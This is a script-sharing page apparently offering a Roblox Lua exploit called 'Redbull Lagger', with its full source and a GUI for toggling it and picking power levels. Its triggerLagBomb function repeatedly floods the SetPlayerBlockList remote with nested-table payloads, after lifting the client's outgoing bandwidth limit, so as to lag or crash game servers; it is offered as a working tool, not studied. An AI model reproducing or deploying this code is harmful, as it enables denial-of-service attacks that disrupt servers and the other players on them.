Best  lagger
Key RequiredUniversal

Best lagger

Universal ScriptBolahiBolahi 462 views 1.4K executesUpdated Sep 11, 2026
Unrated
00
Lua Script•264 lines (9166 chars)
-- leak and rename by prince
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local TweenService = game:GetService("TweenService")
local CoreGui = game:GetService("CoreGui")
local HttpService = game:GetService("HttpService")

local ConfigFile = "RedbullLaggerConfig.json"

local LaggerLevels = {
    Low = {power = 23},
    Mid = {power = 32},
    High = {power = 70}
}

local keybind = Enum.KeyCode.M
local isListeningForInput = false
local isLaggerActive = false
local lagThread = nil
local currentLevel = "Low"
local isWindowLocked = false

local UI_CONFIG = {
    ButtonInact = Color3.fromRGB(40, 40, 40),
    ButtonLow = Color3.fromRGB(0, 255, 0),
    ButtonMid = Color3.fromRGB(255, 255, 0),
    ButtonHigh = Color3.fromRGB(255, 0, 0),
    ToggleOff = Color3.fromRGB(45, 45, 45),
    BorderColor = Color3.fromRGB(40, 40, 40),
    Font = Enum.Font.GothamBlack
}

local function saveConfig()
    local data = {
        Nivel = currentLevel,
        Bloqueado = isWindowLocked
    }
    pcall(function() writefile(ConfigFile, HttpService:JSONEncode(data)) end)
end

local function loadConfig()
    if pcall(isfile, ConfigFile) and isfile(ConfigFile) then
        pcall(function()
            local data = HttpService:JSONDecode(readfile(ConfigFile))
            currentLevel = data.Nivel or "Low"
            isWindowLocked = data.Bloqueado or false
        end)
    end
end
loadConfig()

local function triggerLagBomb(power)
    local payload = {}
    local nestedTable = {{}}
    local current = nestedTable[1]
    for i = 1, 4 do 
        local t = {} 
        table.insert(current, t) 
        current = t 
    end
    local limit = math.min(1800, power * 7)
    for i = 1, limit do table.insert(payload, nestedTable) end
    pcall(function() game:GetService("RobloxReplicatedStorage").SetPlayerBlockList:FireServer(payload) end)
end

local toggleBall, toggleContainer, btnLow, btnMid, btnHigh, lockButton
local keybindButton, toggleClick

local function updateLevelButtons()
    local levels = {Low = btnLow, Mid = btnMid, High = btnHigh}
    for name, button in pairs(levels) do
        local isActive = (currentLevel == name)
        button.BackgroundColor3 = isActive and UI_CONFIG["Button" .. name] or UI_CONFIG.ButtonInact
        button.BorderSizePixel = isActive and 0 or 1
        button.BorderColor3 = UI_CONFIG.BorderColor
        button.TextColor3 = Color3.fromRGB(255, 255, 0)
    end
end

local function updateToggleUI()
    if toggleBall then
        toggleBall.Position = isLaggerActive and UDim2.new(1, -18, 0.5, -9) or UDim2.new(0, 3, 0.5, -9)
    end
    if toggleClick then
        toggleClick.Text = isLaggerActive and "ACTIVE" or "INACTIVE"
        toggleClick.TextColor3 = isLaggerActive and Color3.fromRGB(0, 255, 0) or Color3.fromRGB(255, 0, 0)
    end
end

local function updateLockUI()
    lockButton.Text = isWindowLocked and "Lock" or "Unlock"
end

local function updateKeybindUI()
    local display = keybind.Name:gsub("Button", "")
    keybindButton.Text = "KEY: " .. display
end

local function toggleLagger()
    isLaggerActive = not isLaggerActive
    updateToggleUI()
    if isLaggerActive then
        if lagThread then task.cancel(lagThread) end
        lagThread = task.spawn(function()
            while isLaggerActive do
                pcall(function() game:GetService("NetworkClient"):SetOutgoingKBPSLimit(80000) end)
                triggerLagBomb(LaggerLevels[currentLevel].power)
                task.wait(0.18)
            end
        end)
    else
        if lagThread then task.cancel(lagThread); lagThread = nil end
    end
end

if CoreGui:FindFirstChild("RedbullLagger_UI") then CoreGui.RedbullLagger_UI:Destroy() end

local screenGui = Instance.new("ScreenGui")
screenGui.Name = "RedbullLagger_UI"
screenGui.Parent = CoreGui
screenGui.ResetOnSpawn = false

local mainFrame = Instance.new("Frame", screenGui)
mainFrame.Name = "MainFrame"
mainFrame.BackgroundColor3 = Color3.fromRGB(0, 50, 200)
mainFrame.BorderSizePixel = 2
mainFrame.BorderColor3 = Color3.fromRGB(0, 80, 255)
mainFrame.Size = UDim2.new(0, 200, 0, 78)
mainFrame.Position = UDim2.new(0.15, 0, 0.5, -39)
mainFrame.ClipsDescendants = true
Instance.new("UICorner", mainFrame).CornerRadius = UDim.new(0, 8)

local titleLabel = Instance.new("TextLabel", mainFrame)
titleLabel.BackgroundTransparency = 1
titleLabel.Position = UDim2.new(0, 3, 0, 0)
titleLabel.Size = UDim2.new(0, 80, 0, 22)
titleLabel.Font = Enum.Font.GothamBlack
titleLabel.Text = "Redbull Lagger"
titleLabel.TextColor3 = Color3.fromRGB(255, 255, 0)
titleLabel.TextSize = 16
titleLabel.TextXAlignment = Enum.TextXAlignment.Left

keybindButton = Instance.new("TextButton", mainFrame)
keybindButton.BackgroundColor3 = Color3.fromRGB(25, 25, 30)
keybindButton.Position = UDim2.new(1, -62, 0, 1)
keybindButton.Size = UDim2.new(0, 34, 0, 12)
keybindButton.Font = Enum.Font.GothamBlack
keybindButton.TextSize = 6
keybindButton.TextColor3 = Color3.fromRGB(255, 255, 0)
keybindButton.AutoButtonColor = false
Instance.new("UICorner", keybindButton).CornerRadius = UDim.new(0, 5)
updateKeybindUI()

lockButton = Instance.new("TextButton", mainFrame)
lockButton.BackgroundColor3 = Color3.fromRGB(25, 25, 30)
lockButton.Position = UDim2.new(1, -28, 0, 1)
lockButton.Size = UDim2.new(0, 26, 0, 12)
lockButton.Font = Enum.Font.GothamBlack
lockButton.TextSize = 6
lockButton.TextColor3 = Color3.fromRGB(255, 255, 0)
lockButton.AutoButtonColor = false
Instance.new("UICorner", lockButton).CornerRadius = UDim.new(0, 5)
lockButton.MouseButton1Click:Connect(function()
    isWindowLocked = not isWindowLocked
    updateLockUI()
    saveConfig()
end)
updateLockUI()

local textLagger = Instance.new("TextLabel", mainFrame)
textLagger.BackgroundTransparency = 1
textLagger.Position = UDim2.new(0, 5, 0, 24)
textLagger.Size = UDim2.new(0, 65, 0, 18)
textLagger.Font = Enum.Font.GothamBlack
textLagger.Text = "LAGGER"
textLagger.TextColor3 = Color3.fromRGB(255, 255, 0)
textLagger.TextSize = 11
textLagger.TextXAlignment = Enum.TextXAlignment.Left

toggleContainer = Instance.new("Frame", mainFrame)
toggleContainer.BackgroundColor3 = UI_CONFIG.ToggleOff
toggleContainer.Position = UDim2.new(1, -52, 0, 24)
toggleContainer.Size = UDim2.new(0, 44, 0, 18)
Instance.new("UICorner", toggleContainer).CornerRadius = UDim.new(1,0)

toggleBall = Instance.new("Frame", toggleContainer)
toggleBall.BackgroundColor3 = Color3.fromRGB(255, 255, 255)
toggleBall.Size = UDim2.new(0, 16, 0, 16)
toggleBall.Position = UDim2.new(0, 3, 0.5, -8)
Instance.new("UICorner", toggleBall).CornerRadius = UDim.new(1,0)

toggleClick = Instance.new("TextButton", toggleContainer)
toggleClick.BackgroundTransparency = 1
toggleClick.Size = UDim2.new(1,0,1,0)
toggleClick.Font = Enum.Font.GothamBlack
toggleClick.Text = "INACTIVE"
toggleClick.TextSize = 6
toggleClick.TextColor3 = Color3.fromRGB(255, 0, 0)
toggleClick.MouseButton1Click:Connect(toggleLagger)

keybindButton.MouseButton1Click:Connect(function()
    if isListeningForInput then return end
    isListeningForInput = true
    keybindButton.Text = "..."
end)

UserInputService.InputBegan:Connect(function(input, gp)
    if isListeningForInput and not gp then
        local newKey = input.KeyCode
        if newKey ~= Enum.KeyCode.Unknown then
            keybind = newKey
            isListeningForInput = false
            updateKeybindUI()
        end
    elseif not gp and (input.KeyCode == keybind) then
        toggleLagger()
    end
end)

local function createLevelButton(name, xOffset)
    local btn = Instance.new("TextButton", mainFrame)
    btn.Size = UDim2.new(0, 50, 0, 20)
    btn.Position = UDim2.new(0, xOffset, 0, 46)
    btn.Font = UI_CONFIG.Font
    btn.Text = name:upper()
    btn.TextColor3 = Color3.fromRGB(255, 255, 0)
    btn.TextSize = 9
    btn.AutoButtonColor = false
    btn.BorderSizePixel = 1
    Instance.new("UICorner", btn).CornerRadius = UDim.new(0, 6)
    btn.MouseButton1Click:Connect(function()
        currentLevel = name
        updateLevelButtons()
        saveConfig()
    end)
    return btn
end

btnLow = createLevelButton("Low", 5)
btnMid = createLevelButton("Mid", 60)
btnHigh = createLevelButton("High", 115)

updateLevelButtons()
updateToggleUI()

local isDragging, dragStart, startPos
mainFrame.InputBegan:Connect(function(input)
    if not isWindowLocked and (input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch) then
        isDragging = true
        dragStart = input.Position
        startPos = mainFrame.Position
    end
end)
UserInputService.InputChanged:Connect(function(input)
    if isDragging and (input.UserInputType == Enum.UserInputType.MouseMovement or input.UserInputType == Enum.UserInputType.Touch) then
        local delta = input.Position - dragStart
        mainFrame.Position = UDim2.new(startPos.X.Scale, startPos.X.Offset + delta.X, startPos.Y.Scale, startPos.Y.Offset + delta.Y)
    end
end)
mainFrame.InputEnded:Connect(function(input)
    if input.UserInputType == Enum.UserInputType.MouseButton1 or input.UserInputType == Enum.UserInputType.Touch then
        isDragging = false
    end
end)

Features & Information

Good lagger

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts